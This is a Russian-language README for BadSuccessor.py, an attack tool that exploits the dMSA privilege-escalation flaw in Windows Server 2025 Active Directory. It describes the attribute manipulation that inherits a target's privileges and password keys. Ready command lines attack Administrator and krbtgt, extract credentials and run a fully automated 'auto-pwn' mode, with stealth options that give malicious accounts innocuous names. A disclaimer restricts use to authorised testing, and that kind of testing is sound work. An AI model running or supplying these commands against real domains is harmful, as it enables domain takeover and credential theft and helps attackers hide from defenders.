BadSuccessor.py

Инструмент для пентеста, эксплуатирующий уязвимость повышения привилегий dMSA (delegated Managed Service Account — делегированная управляемая учетная запись службы) в средах Active Directory на Windows Server 2025.

⚠️ Правовое предупреждение

Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Использование этого инструмента против систем без явного письменного разрешения незаконно и неэтично. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.

⚠️ Статус разработки и предупреждение о тестировании в разных окружениях

ВАЖНО: Этот инструмент находится в активной разработке и тестировании.

Текущее состояние

• Внедрение Windows Server 2025: По состоянию на май 2025 года Windows Server 2025 все еще находится на ранней стадии внедрения с ограниченным количеством производственных развертываний
• Различия в окружениях: Из-за ограниченного количества доступных для тестирования сред Windows Server 2025 этот инструмент может столкнуться с непротестированными конфигурациями
• Активная разработка: Мы постоянно дорабатываем инструмент по мере развертывания и тестирования новых вариантов окружений

Что это означает

• Ожидайте обновлений: Инструмент будет часто обновляться по мере тестирования новых типов окружений
• Сообщайте о проблемах: Ваша обратная связь крайне важна — пожалуйста, сообщайте о любых проблемах или нестандартных случаях, с которыми вы столкнулись
• Тестируйте осторожно: Всегда сначала тестируйте в непроизводственной среде
• Вариации схемы: Разные сборки Windows Server 2025 могут реализовывать атрибуты dMSA по-разному
• Стабильность функций: Хотя базовый функционал стабилен, некоторые функции могут потребовать настройки для конкретных сред

Известные отслеживаемые переменные

• Различные версии сборок Windows Server 2025
• Соглашения об именовании атрибутов схемы
• Региональные/локализованные реализации AD
• Гибридные облачные конфигурации
• Различные функциональные уровни AD
• Различные конфигурации усиления безопасности

Тестирование сообществом

Мы призываем сообщество специалистов по безопасности:

• Тестировать в разнообразных средах
• Делиться результатами (санитизированными)
• Отправлять pull request'ы для улучшения совместимости
• Сообщать о вариациях окружений

Используя этот инструмент, вы подтверждаете, что он находится в активной разработке и может потребовать изменений для вашего конкретного окружения.

📋 Обзор

BadSuccessor эксплуатирует уязвимость повышения привилегий в функции делегированной управляемой учетной записи службы (dMSA) в Windows Server 2025. Уязвимость позволяет злоумышленникам с минимальными правами повышать свои привилегии до уровня любого пользователя в домене, включая администраторов домена.

Авторство исследования

Этот инструмент основан на выдающемся исследовании Юваля Гордона из Akamai Technologies:

• BadSuccessor: злоупотребление dMSA для повышения привилегий в Active Directory

🎯 Детали уязвимости

Уязвимость существует в процессе миграции dMSA, где:

1. Злоумышленник создает вредоносную dMSA в любом доступном для записи подразделении (OU)
2. Задает атрибуту msDS-ManagedAccountPrecededByLink или ms-DS-Managed-Account-Preceded-By-Link значение, указывающее на целевого пользователя
3. Устанавливает msDS-DelegatedMSAState или ms-DS-Delegated-MSA-State в значение 2 (миграция завершена)
4. KDC автоматически предоставляет dMSA все привилегии целевого пользователя через наследование PAC

Кроме того, структура KERB-DMSA-KEY-PACKAGE содержит ключи пароля целевого пользователя, что позволяет извлекать учетные данные.

✅ Предварительные требования

Системные требования

• Компьютер с Linux (не входящий в домен)
• Python 3.6+
• Сетевой доступ к целевой среде Active Directory
• В целевом домене должен быть хотя бы один контроллер домена Windows Server 2025

Зависимости Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Примечание**: Инструмент протестирован с impacket 0.12.0. Предупреждения о совместимости версий отображаются во время выполнения.

### Необязательные зависимости```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Требуемые разрешения

• Действительные учётные данные домена (любая учётная запись пользователя)
• ЛЮБОЕ из следующих разрешений как минимум на одну организационную единицу:
  • разрешение CreateChild
  • разрешение Write
  • разрешение GenericWrite
  • разрешение GenericAll
  • Член групп по умолчанию с правом записи (например, Authenticated Users)
• Инструмент автоматически обнаруживает все доступные для записи организационные единицы и показывает конкретные разрешения

🚀 Установка```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Использование

Базовый синтаксис```bash

python3 badsuccessor.py -d -u -p [options]

### Примеры быстрого старта

#### 1. Режим пробного запуска (НОВОЕ) — Проверка без внесения изменений```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Перечисление окружения```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Выполнить атаку```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Извлечение учётных данных```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Управление сессиями (НОВОЕ)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID